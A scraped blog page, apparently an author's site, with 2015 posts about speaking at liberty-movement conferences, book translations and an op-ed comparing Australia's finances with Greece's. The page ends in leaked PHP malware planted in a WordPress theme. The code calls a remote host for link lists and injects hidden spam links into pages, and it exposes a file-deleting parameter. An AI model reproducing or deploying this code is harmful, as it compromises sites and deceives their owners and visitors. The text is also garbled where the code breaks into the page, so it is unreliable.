I’ve only just arrived back in Washington D.C. after a whirlwind week or two that took me to Bali for the World Conference on Market Liberalization , then Las Vegas for FreedomFest, and then on to Albuquerque, New Mexico, for the Rio Grande Foundation’s Luncheon, where I was able to speak on the topic of State Control vs. Self Control. The video below is from the talk I gave at the last event. Thanks to Paul Gessing and the wonderful people at the Rio Grande Foundation for hosting me.

{ 0 comments }

We had a full house at the Atlas Network hosted luncheon this weekend at FreedomFest‬. Thank you to all who came! I am sorry to say that I have been feeling under the weather and was not as active during FreedomFest as I normally would have been.

AtlasDinner1

AtlasDinner2

 

Thanks to all those who attended the luncheon and to all those who introduced themselves at FreedomFest!

{ 0 comments }

 

ISIL held a World Conference on Market Liberalization in Bali, Indonesia, at the beginning of this month and I was pleased to be able to speak. The International Society for Individual Liberty is a wonderful organization and they put on a great conference. As you can see, I got into the tropical spirit of things with my attire as well.

ISIL

{ 0 comments }

Why Liberty for Chileans

July 13, 2015

I am always pleased to see my writings being translated into other languages or adapted to other countries. Why Liberty was recently translated into Spanish and then adapted to fit the needs of Chile. Many thanks to those who worked on this at Fundación para el Progreso in Chile. It can be downloaded here: 

WhyLiberty_Chile

{ 0 comments }

Find Me On Social Media

July 13, 2015

I keep this website updated with pictures from events I go to, videos of my lectures, and my own writings, but it is worth mentioning that on social media I often comment on other pieces of writing, events held around the world, and videos, quotes, or articles I find interesting. In order to find me on social media, you can follow me on Facebook here or on Twitter here.

I do my best to answer as many questions and respond to as many comments as I can through these profiles. These profiles are also useful for sharing resources in the fight for liberty, much like this website.

{ 0 comments }

The Australian Financial Review published a piece I wrote on the 28th of May, 2015, comparing Australia’s fiscal situation to that of Greece.

How far is Australia from Greece?  Pretty far, but, sadly, they’re getting closer every day.  Not because the Earth is shrinking, but because the Australian government is very gradually easing into Greek financial methods.

Greece provides a brutal reminder of what happens when governments spend and promise beyond their means, make it harder for workers to find jobs, and stifle wealth-creating enterprise.

Previous Greek governments financed government expenditures and consumption through borrowing, ran up staggering debts, made promises that cannot be fulfilled (known as ‘unfunded liabilities’) and did their best to drive work underground or out of the country.  Everything seemed fine until it didn’t.

The full article can be read here, thanks to the Centre for Independent Studies.

{ 0 comments }

I was pleased to be able to spend a month down in Australia, as a Scholar-in-Residence with the Centre for Independent Studies. I was able to give a number of talks to local groups. The following is a video of a lecture on the Morality of Capitalism in Sydney on April 23rd. If you are interested in this topic, then you can read The Morality of Capitalism, which can be purchased here.

{ 0 comments }

WhyLiberty_Serbian WhyLiberty_Macedonian

Why Liberty is now available in both Serbian and Macedonian. They can be obtained here.

{ 0 comments }

Poverty, Morality, and Liberty by Tom G. Palmer in Chinese can be downloaded for free here!

11541877_10206046152227242_1975325081894325222_n

{ 0 comments }

Pleased to be able to be speaking on June 16th to a gathering in New York City chiefly concerned with Greece, the Eurozone Crisis, Ukraine and Russia, and the future of Europe and it’s Welfare States.  NYC Trendsetters is a project of the Atlas Network, geared towards helping young professionals to have an impact on freedom worldwide.

{ 0 comments }

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>